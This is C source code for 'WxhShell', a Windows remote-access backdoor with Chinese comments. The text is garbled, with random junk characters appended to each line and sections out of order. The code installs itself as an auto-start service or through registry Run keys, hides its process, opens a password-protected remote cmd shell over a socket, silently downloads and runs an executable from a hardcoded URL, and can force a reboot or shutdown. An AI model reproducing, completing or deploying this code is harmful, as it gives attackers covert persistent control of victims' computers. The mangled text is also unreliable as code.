    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8=-/0y9,  
    else { [W8"Mc|ve  
    closesocket(wsh); kZK1{  
    ExitThread(0); KlGmO;k  
    }  84g8$~M  
    break; BGrV,h^  
    } (^~0%1  
  // 获取shell H?4t\pSS  
  case 's': { KX^!t3l6  
    CmdShell(wsh); t!&p5wJ*Q  
    closesocket(wsh); aJzyEb  
    ExitThread(0); GTocN1,Z~a  
    break; f5`q9w_c  
  } q |Orv =v  
  // 退出 @#>YU  
  case 'x': { tE$oV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }I"k=>Ycns  
    CloseIt(wsh); V2B: DIpr  
    break; AT -  
    } 89YG `  
  // 离开 p;<aZ&@O  
  case 'q': { 9TU B3x^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,ieew`  
    closesocket(wsh); ai]KH7  
    WSACleanup(); 3>#io^35  
    exit(1); qir8RPW  
    break; VfT@;B6ALF  
        } 1 uJpn  
  } K9_@[}Ge  
  } lhBu?q  
~(-df>  
  // 提示信息 +ZJ1> n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AkEt=vI  
} QD;:!$Du  
  } k0IztFyj:R  
dk_! ~Z  
  return; 1#lH5|XQ  
} Y?4N%c_;  
e8U6D+jY  
// shell模块句柄 303x|y  
int CmdShell(SOCKET sock) 4CK$W` V  
{ A,;[9J2\&  
STARTUPINFO si; av>Ff6w)Y  
ZeroMemory(&si,sizeof(si)); .F]"%RK[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *lBX/O`=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vxk~( 3]<)  
PROCESS_INFORMATION ProcessInfo; C[[:/X(c  
char cmdline[]="cmd"; 0I}c|V'P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @0D  
  return 0; {q/D,Rh8  
} W0LJ Xp-v  
S.*.nv  
// 自身启动模式 %T DY &@i=  
int StartFromService(void) Z"d21D~h9`  
{ N 8pzs"  
typedef struct yhxZ^ (I  
{ yUX<W'-Hev  
  DWORD ExitStatus; >8EmfjUoc  
  DWORD PebBaseAddress; ;BW-ag \9  
  DWORD AffinityMask; t/c)[l hV  
  DWORD BasePriority; xP5Z -eL  
  ULONG UniqueProcessId; ADT8A."R[  
  ULONG InheritedFromUniqueProcessId; %5Zhq>  
}   PROCESS_BASIC_INFORMATION; &&TAX  
-f=4\3y3p  
PROCNTQSIP NtQueryInformationProcess; g]PC6xr38  
3|vZ `}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [w}KjV/yi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s>a(#6Q  
w!/|aZ~*  
  HANDLE             hProcess; S*(n s<L  
  PROCESS_BASIC_INFORMATION pbi; (2'q~Z+>'  
?dQ#%06mn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?#J;\^  
  if(NULL == hInst ) return 0; D)J'xG_<O  
S,GM!YZg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N3|aNQ=X0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X~rHNRIU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0Rz",Mu>  
1V;m8)RF  
  if (!NtQueryInformationProcess) return 0; Rqun}v}  
#QKgY7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [OwrIL  
  if(!hProcess) return 0; f4+}k GJN  
zF_aJ+i:~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 86ml.VOR  
%s#`Z [8,  
  CloseHandle(hProcess); M6*8}\  
rE4qPzL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rB-}<22.  
if(hProcess==NULL) return 0; skBzwVW I  
; d :i  
HMODULE hMod; lKLb\F%  
char procName[255]; "xE;IpO[  
unsigned long cbNeeded; xi!R[xr1  
{>zQW{!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xwZ7I  
Vf` 9[*j  
  CloseHandle(hProcess); cB2jf</  
fXB64MNo  
if(strstr(procName,"services")) return 1; // 以服务启动 =d1i<iw?-  
@^K_>s9B  
  return 0; // 注册表启动 [p 8fg!|  
} d>jRw  
T`r\yl}  
// 主模块 <UBB&}R0  
int StartWxhshell(LPSTR lpCmdLine) AGgL`sP  
{ e(EXQP2P>  
  SOCKET wsl; Jk=d5B  
BOOL val=TRUE; nISfRXU;  
  int port=0; H^0`YQJ3  
  struct sockaddr_in door; FW!1 0K?  
ARa9Ia{@  
  if(wscfg.ws_autoins) Install(); YhJ*(oWL  
hxj[gE'R(  
port=atoi(lpCmdLine); n Y=]KU  
a3(q;^v  
if(port<=0) port=wscfg.ws_port; H_+!.  
\&1Di\eL  
  WSADATA data; D3kx&AR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; etLA F  
a?ii)GGq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =U<6TP]{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t?cO>4*|  
  door.sin_family = AF_INET; A]mXV4RmI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jBnvu@K"  
  door.sin_port = htons(port); x#&%lJT  
7Jvb6V<R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PU{7s  
closesocket(wsl); ]QK@zb}x  
return 1; 9lCZ i?  
} 1 Ll<^P  
{;Ispx0m  
  if(listen(wsl,2) == INVALID_SOCKET) { cb9q0sdf  
closesocket(wsl); Q.`O;D}x  
return 1; 09C[B+>h  
} 8A3!XA  
  Wxhshell(wsl); eWwI@ASaA  
  WSACleanup(); `Pe WV[?  
*kWrF* )J  
return 0; B:QAG  
O)WduhlGQ  
} kpt 0spp  
X4}Lg2ts  
// 以NT服务方式启动 _b1w<T `  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Bi|XdS$G  
{ $l!+SLK  
DWORD   status = 0; D_4UM#Tw  
  DWORD   specificError = 0xfffffff; dr8`;$;G*  
CkA ~'&C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =lqBRut  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *Mr?}_,X*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 84$#!=v  
  serviceStatus.dwWin32ExitCode     = 0; 6K zdWT  
  serviceStatus.dwServiceSpecificExitCode = 0;  2t7Hu)V  
  serviceStatus.dwCheckPoint       = 0; "lJ [H=\  
  serviceStatus.dwWaitHint       = 0; )./'`Mx?  
@ I$;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tZn=[X~Vw@  
  if (hServiceStatusHandle==0) return; y vz2eAXa  
FD*w4U5  
status = GetLastError(); , ,=7deR  
  if (status!=NO_ERROR) 8C!D=Vhh  
{ -Y"'=zkO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @(_M\>!%M  
    serviceStatus.dwCheckPoint       = 0; fooQqWC)  
    serviceStatus.dwWaitHint       = 0; Q-LDFnOFwp  
    serviceStatus.dwWin32ExitCode     = status; muqIh!nn  
    serviceStatus.dwServiceSpecificExitCode = specificError; =7WE   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (`pd>  
    return; -8r9DS -/W  
  } ]rP'\a  
eTp}*'$p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dJ0qg_ U&  
  serviceStatus.dwCheckPoint       = 0; MVpk/S%W  
  serviceStatus.dwWaitHint       = 0; b#<@&0KE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zxt&oT0Q  
} |2eF~tJqc  
Ie%twc  
// 处理NT服务事件,比如:启动、停止 /K./k!'z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,wvzY7%  
{ L?c7M}vV  
switch(fdwControl) ve|`I=?2  
{ H _%yh,L  
case SERVICE_CONTROL_STOP: VD*xhuy$k  
  serviceStatus.dwWin32ExitCode = 0; ?NL>xMA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w/(hEF '  
  serviceStatus.dwCheckPoint   = 0; ]8i2'x  
  serviceStatus.dwWaitHint     = 0; j 4B|ktf  
  { ^YLpZoo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }m6j6uAR6)  
  } =<M7t*!  
  return; ]%K 8  
case SERVICE_CONTROL_PAUSE: pWwB<F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bl)iji`]  
  break;  FGP~^Dr/  
case SERVICE_CONTROL_CONTINUE: 68^5X"OGF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Dx-G0 KIG  
  break; zkt+"P{az[  
case SERVICE_CONTROL_INTERROGATE:  #' =rv  
  break; ;|e6Qc9  
}; EFg s}BV_9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;uC +5g`  
} +'NiuN  
;i2N`t2  
// 标准应用程序主函数 nPj+mg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8'(|1  
{ |H)WJ/`  
N8>;BHBV!  
// 获取操作系统版本 ktr l|  
OsIsNt=GetOsVer(); Hlw0i a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v<`1z?dch  
EQ j2:9f  
  // 从命令行安装 f V|Zh  
  if(strpbrk(lpCmdLine,"iI")) Install(); vh~:{akR  
> qSaF  
  // 下载执行文件 7Lr}Y/1=  
if(wscfg.ws_downexe) { $^2 j#]uX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kOfu7Zj  
  WinExec(wscfg.ws_filenam,SW_HIDE); hkO)q|1  
} +C{ %pF  
[akyCb  
if(!OsIsNt) { OudD1( )W  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]g/% w3G  
HideProc(); a%-P^M;a2  
StartWxhshell(lpCmdLine);  psg}sl/  
} 9 xvE?8;M#  
else q1nGj  
  if(StartFromService()) 'ErtiD  
  // 以服务方式启动 o 6$Q>g`]  
  StartServiceCtrlDispatcher(DispatchTable); 3f{%IU(z  
else J!QzF)$4J  
  // 普通方式启动 7]q$ sQ  
  StartWxhshell(lpCmdLine); hwmpiyu   
4g#pQ  
return 0; oy-Qy  
} h<wF;g,  
T#1>pED  
]Qp0|45=  
G;+hc%3y  
=========================================== -L/5Nbup  
9oteQN{9  
^ftZ{uA  
5Dy800.B2  
~%4#R4&  
&8Cuu$T9)  
" i6[,m*q~2x  
0VV1!g  
#include <stdio.h> {)eV) 2a  
#include <string.h> Kt%`]Wp  
#include <windows.h> 2'"$Y'  
#include <winsock2.h> 4"e7 43(  
#include <winsvc.h> lA39$oJ  
#include <urlmon.h> 3ySP*J5  
;6o p|  
#pragma comment (lib, "Ws2_32.lib") c7jft|4S  
#pragma comment (lib, "urlmon.lib") Z\E3i  
?o h3t  
#define MAX_USER   100 // 最大客户端连接数 ChLU(IPo6  
#define BUF_SOCK   200 // sock buffer V(3udB@K  
#define KEY_BUFF   255 // 输入 buffer ku*|?uF  
C!SB5G>OH  
#define REBOOT     0   // 重启 .cA[b  
#define SHUTDOWN   1   // 关机 q_8qowu"  
" [=Ee[/  
#define DEF_PORT   5000 // 监听端口 39 JLi~j,  
~e[)]b3  
#define REG_LEN     16   // 注册表键长度 :~ 3/  
#define SVC_LEN     80   // NT服务名长度 |WeLmy%9  
,\5]n&T;r  
// 从dll定义API Vkex&?>v$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bw{%X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >RxZ-.,a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T7YzO,b/   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VGBL<X  
SZ-%0z  
// wxhshell配置信息 l[ ^bo/  
struct WSCFG { Mg95us  
  int ws_port;         // 监听端口 Q]7Q4U  
  char ws_passstr[REG_LEN]; // 口令 _OTkv6;4n  
  int ws_autoins;       // 安装标记, 1=yes 0=no WK#lE&V3  
  char ws_regname[REG_LEN]; // 注册表键名 |B4dFI?  
  char ws_svcname[REG_LEN]; // 服务名 Z94D<X"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kX {c+qHM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~ K^Z4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &hs)}uM&$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GZ@!jF>!u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" knypSgk_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K:P gkc  
bTKzwNx  
}; '<m[  
9Dd/g7  
// default Wxhshell configuration }6eWdm!B  
struct WSCFG wscfg={DEF_PORT, n$}c+1   
    "xuhuanlingzhe", `c{i +  
    1, c*!bT$]~\  
    "Wxhshell", w IT`OT6Q  
    "Wxhshell", qwA: o-q"  
            "WxhShell Service", Zx5vIm  
    "Wrsky Windows CmdShell Service", =#1iio&  
    "Please Input Your Password: ", D6_16PJE  
  1, 33couAP#  
  "http://www.wrsky.com/wxhshell.exe", }?>30+42:  
  "Wxhshell.exe" }(J6zo9(x  
    }; 1S\q\kz->D  
yA(H=L-=!1  
// 消息定义模块 f&^K>Jt1@#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :4Sj2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U,Z.MP Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RXgi>Hz  
char *msg_ws_ext="\n\rExit."; Q=~e|  
char *msg_ws_end="\n\rQuit."; Oa7`Y`6  
char *msg_ws_boot="\n\rReboot..."; L4S Fu.J'  
char *msg_ws_poff="\n\rShutdown..."; z -(dT  
char *msg_ws_down="\n\rSave to "; blaxUP:  
Z/hSH 0(~  
char *msg_ws_err="\n\rErr!"; R^dAwt`.D  
char *msg_ws_ok="\n\rOK!"; 2hf]XV\  
f? [y-  
char ExeFile[MAX_PATH]; y S7[=S  
int nUser = 0; [F+lVb  
HANDLE handles[MAX_USER]; Wuye:b!  
int OsIsNt; /5suyM=U  
mRfF)  
SERVICE_STATUS       serviceStatus; {Ca#{LeLk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :?jOts>uP  
suPQlU>2sj  
// 函数声明 ]=q?= %H  
int Install(void); |...T 4:^Y  
int Uninstall(void); jbC7U9t7  
int DownloadFile(char *sURL, SOCKET wsh); CbS9fc&  
int Boot(int flag); |,t#Au}61  
void HideProc(void); fVo)# Bj  
int GetOsVer(void); }RDhI1x[mk  
int Wxhshell(SOCKET wsl); 6P?   
void TalkWithClient(void *cs); ]t7<$L   
int CmdShell(SOCKET sock); 7Y @ &&  
int StartFromService(void); athU  
int StartWxhshell(LPSTR lpCmdLine); qN+ngk,:  
!K(0)~u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]_|qv1K6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hV'JTU]H  
FL0(q>$*8  
// 数据结构和表定义 $+S'Boo   
SERVICE_TABLE_ENTRY DispatchTable[] = l4hC>q$T  
{ 04:^<n+{  
{wscfg.ws_svcname, NTServiceMain}, K!HSQ,AC  
{NULL, NULL} E n{vCN  
}; zWB>;Z}  
N}VKH5U|  
// 自我安装 3HFsR)  
int Install(void) &c ayhL/%  
{ `<y2l94tL  
  char svExeFile[MAX_PATH]; |53Zg"!  
  HKEY key; 2HkP$;lED  
  strcpy(svExeFile,ExeFile); e}kEh+4  
yWF DGk  
// 如果是win9x系统,修改注册表设为自启动 cL<  
if(!OsIsNt) { lkFv5^%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5cgDHs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =|pQA~UU#  
  RegCloseKey(key); io$AGi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \ tF><  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &`pd&U{S*  
  RegCloseKey(key); 8>6+]]O  
  return 0; o}7`SYn  
    } :s$ rD  
  } 0z_e3H{P27  
} uUwwR(R  
else { MPT*[&\-  
2m[z4V@`  
// 如果是NT以上系统,安装为系统服务 & 2>W=h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +<|6y46  
if (schSCManager!=0) I r<5%  
{ e6QUe.S  
  SC_HANDLE schService = CreateService b)3dZ*cOJ  
  ( g15e|y)th  
  schSCManager, ,~JxYh  
  wscfg.ws_svcname, g"hm"m}i  
  wscfg.ws_svcdisp, m+"?;;s  
  SERVICE_ALL_ACCESS, L @t<%fy@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z-*L[  
  SERVICE_AUTO_START, M7fw/i  
  SERVICE_ERROR_NORMAL, 80&JEtRh  
  svExeFile, %W+*)u72(  
  NULL, !d&K,k  
  NULL, GO+cCNMa"  
  NULL, z6ArSLlZ  
  NULL, EUu"H` E+  
  NULL +i4S^B/8i  
  ); }O<=!^Y;A  
  if (schService!=0) %mt|Dl  
  { 3!,XR\`[  
  CloseServiceHandle(schService); } R;.~F  
  CloseServiceHandle(schSCManager); 3/@7$nV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bQr H8)  
  strcat(svExeFile,wscfg.ws_svcname); Tc T%[h!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SwV0q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *y='0)[BD  
  RegCloseKey(key); 4! XB?-.  
  return 0; ow>^(>^~  
    } Ym8G=KA  
  } O0i_h<T  
  CloseServiceHandle(schSCManager); 506B =  
} (XX6M[M8  
} T7'njaLec  
S}cpYjnH8  
return 1; jY(' ?3  
} cuB~A8H#}  
w\:-lXw  
// 自我卸载 $ [by)  
int Uninstall(void) B= jJ+R  
{ 0;#%KC,  
  HKEY key; %kxq"=3  
Wr a W  
if(!OsIsNt) { C;1A$]bk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =%%\b_\L  
  RegDeleteValue(key,wscfg.ws_regname); Tu?+pz`h  
  RegCloseKey(key); J3Qv|w [3Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _rR+u56y-  
  RegDeleteValue(key,wscfg.ws_regname); (vB aem9  
  RegCloseKey(key); q?nXhUD  
  return 0; S1E =E5  
  } ug.mY=n '  
} 1y2D]h/'  
} {Uz@`QO3  
else { 9gZMfP  
C},;M @xV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w-C ~ Ik  
if (schSCManager!=0) TUw^KSa  
{ u}\F9~W-{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aEo!yea  
  if (schService!=0) o8-BTq8  
  { ] QGYEjW  
  if(DeleteService(schService)!=0) { w4Qqo(  
  CloseServiceHandle(schService); j&6,%s-M`a  
  CloseServiceHandle(schSCManager); GvF8S MO[x  
  return 0; '_lyoVP  
  } L'BDS*  
  CloseServiceHandle(schService); puF'w:I (  
  } &=Gz[1 L  
  CloseServiceHandle(schSCManager); >XcbNZV  
} "o 2p|2c  
} GpMKOjVm|  
o]t6u .L  
return 1; HgvgO\`]  
} 0&mo1 k_U  
@zL)R b%P$  
// 从指定url下载文件 ! @{rk p  
int DownloadFile(char *sURL, SOCKET wsh) "w9LQ=mW  
{ W=c7>s0>  
  HRESULT hr; Sf);j0G,D  
char seps[]= "/"; )@09Y_9r  
char *token; X^r5su?  
char *file; Y9Q-<~\z  
char myURL[MAX_PATH]; SpPG  
char myFILE[MAX_PATH]; an_qE}P  
Jkzt=6WZ0  
strcpy(myURL,sURL); L$=@j_V2  
  token=strtok(myURL,seps); ]( V+ qj  
  while(token!=NULL) [R+zzl&Zw  
  { x|d Xa0=N_  
    file=token; !C * %,Ak  
  token=strtok(NULL,seps); A{iI,IFe  
  } X,: pT\G  
RrSSAoz1  
GetCurrentDirectory(MAX_PATH,myFILE); }`8g0DPuD9  
strcat(myFILE, "\\"); h!5^d!2,  
strcat(myFILE, file); ~=h]r/b< U  
  send(wsh,myFILE,strlen(myFILE),0); 5cO}Jp%PA  
send(wsh,"...",3,0); @kvgq 0ab  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $#2ik~]>  
  if(hr==S_OK) .;yy= Rj  
return 0; QWH1xId  
else O<Qa1Ow7f  
return 1;  7?-eR-  
pi sk v[  
} (JH LWA H  
5LbU'5  
// 系统电源模块 A%> Ir`I  
int Boot(int flag) e4p:Zb:  
{ I<e[/#5P\`  
  HANDLE hToken; / d=i 0E3  
  TOKEN_PRIVILEGES tkp; r=Z#"68$  
Rp4EB:*  
  if(OsIsNt) { vo )pT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4!p ~Mr[E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7Fw`s@/%  
    tkp.PrivilegeCount = 1; sDT(3{)L7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0,)B~|+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W{O:j  
if(flag==REBOOT) { GenkYtS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e48`cX\E  
  return 0; YLmzMD>  
} u 'DM?mV:-  
else { ]as_7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #t:]a<3Y2  
  return 0; `2c>M\c4U  
} `*cT79  
  } CB<1]Z  
  else { ZKzXSI4  
if(flag==REBOOT) { 06"p ^#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !<H[h4g  
  return 0; !`q*{Ojx  
} f ZL%H0&  
else { q$z#+2u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oEbgyT gB  
  return 0; P1;T-.X~&  
} V#.;OtF]  
} 'c<vj jIg  
8:;_MBt  
return 1; bq[j4xH0X  
} b/Y9fQ n  
Yr@_X  
// win9x进程隐藏模块 }dw`[{cm  
void HideProc(void) z"*X/T  
{ UZ0fw@RM  
IG0$OtG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :VP4|H#SP  
  if ( hKernel != NULL ) })!d4EcZf  
  { G3n* bv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *T"JO |  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c|3%0=,`  
    FreeLibrary(hKernel); Hy5_iYP5  
  } T0s7aw[zm  
%^[45e  
return; S>O fUrt  
} 0Ge*\Q  
TJ[C,ic=D  
// 获取操作系统版本 Y,RED5]t  
int GetOsVer(void) }3:DJ(Y  
{ *#1&IJPI  
  OSVERSIONINFO winfo; >Z?fX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Cbm  
  GetVersionEx(&winfo); 9)0AwLlv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) : Q X~bq  
  return 1; Qw4P{>|Y  
  else ^I3cU'X  
  return 0; ,Q4U<`ds!  
} pA)!40kz  
$ r|R`n=  
// 客户端句柄模块 Yh_H $uW  
int Wxhshell(SOCKET wsl) fiz2544  
{ .o91^jt  
  SOCKET wsh; mbxJS_P  
  struct sockaddr_in client; s<gZB:~  
  DWORD myID; *@o@>  
7Ipt~K}  
  while(nUser<MAX_USER) E*ybf'  
{ vpXC5|9U  
  int nSize=sizeof(client); B!GpD@U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F{)YdqQ  
  if(wsh==INVALID_SOCKET) return 1; +qq,;npi  
`bu3S }m7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Af1izS3  
if(handles[nUser]==0) x%d+~U;$&  
  closesocket(wsh); 3 Yf%M66t  
else L0uvRge  
  nUser++; xEQ2iCeC  
  } txQyHQ)@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z l.}=  
kf\n  
  return 0; Yao>F--?  
} '<~rV  
w]]`/`  
// 关闭 socket d=V4,:=S  
void CloseIt(SOCKET wsh) )~xL_yW_X  
{ IF~i*  
closesocket(wsh); m76**X  
nUser--; 6g4CUP'Y  
ExitThread(0); q9o =,[  
} {6Lkh  
u\=gps/Z  
// 客户端请求句柄 !t "uNlN  
void TalkWithClient(void *cs) 11}sRu/  
{ %AW5\ EX  
mN +~fu h  
  SOCKET wsh=(SOCKET)cs; j[NA3Vj1P  
  char pwd[SVC_LEN]; Je_Hj9#M\d  
  char cmd[KEY_BUFF]; +#8?y 5~q  
char chr[1]; QwXM<qG*  
int i,j; [M_pf2Y  
!P/ ]o  
  while (nUser < MAX_USER) {  =<fH RX`  
b9ysxuUdS  
if(wscfg.ws_passstr) { *}R5=r0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lnL&v' {  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hh}%Z=  
  //ZeroMemory(pwd,KEY_BUFF); vLn<=.  
      i=0; XSt5s06TM  
  while(i<SVC_LEN) { ;wND?:  
>"?HbR9  
  // 设置超时 $_ub.g|  
  fd_set FdRead; BF8n: }9U  
  struct timeval TimeOut; x&sT )=#  
  FD_ZERO(&FdRead); zMs]9o  
  FD_SET(wsh,&FdRead); g`)3m,\  
  TimeOut.tv_sec=8;  84L!r  
  TimeOut.tv_usec=0; r5Ej  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zk5sAHQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +*,rOK`C  
>C"cv^%c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;OQ-T+(T  
  pwd=chr[0]; d='z^vHK  
  if(chr[0]==0xd || chr[0]==0xa) { piJ/e  
  pwd=0; vW]Frb  
  break; 1Uz'= a  
  } !OWVOq8  
  i++; hKtOh  
    } *E0+!  
hR b k-b  
  // 如果是非法用户,关闭 socket x={t}qDS8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q_QmyD~m  
} Y<3s_  
]*j>yj.Y'~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,'5P[-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?15k~1nA  
/b6Y~YbgU  
while(1) { L`FsK64@  
$t.N |b`'  
  ZeroMemory(cmd,KEY_BUFF); Y>t*L#i  
XOa<R  
      // 自动支持客户端 telnet标准   nkHr(tF 7  
  j=0; PN/2EmwtC  
  while(j<KEY_BUFF) { Wd$N[|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *{W5QEa  
  cmd[j]=chr[0]; 9 U1)sPH;  
  if(chr[0]==0xa || chr[0]==0xd) { Dn$zwksSs  
  cmd[j]=0; a$#,'UB  
  break; OQ#gQ6;?0  
  } ~] Mq'  
  j++; .Y'kDuUu  
    } B;4hI?  
pW8pp?  
  // 下载文件 9UOx~Ty  
  if(strstr(cmd,"http://")) { 1j o.d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Oz^+;P1  
  if(DownloadFile(cmd,wsh)) w$A*|^w1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TC U |k ,  
  else z%ljEI"<C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V5KAiG<d  
  } ':[+UUC@  
  else { WP32t@  
`@ qSDW!b  
    switch(cmd[0]) { )ty *_@N0  
  IK{0Y#c  
  // 帮助 9L%&4V}BIS  
  case '?': { ~J)4(411  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GY,@jp|R  
    break; 0VoC|,$U  
  } Z T8. r0  
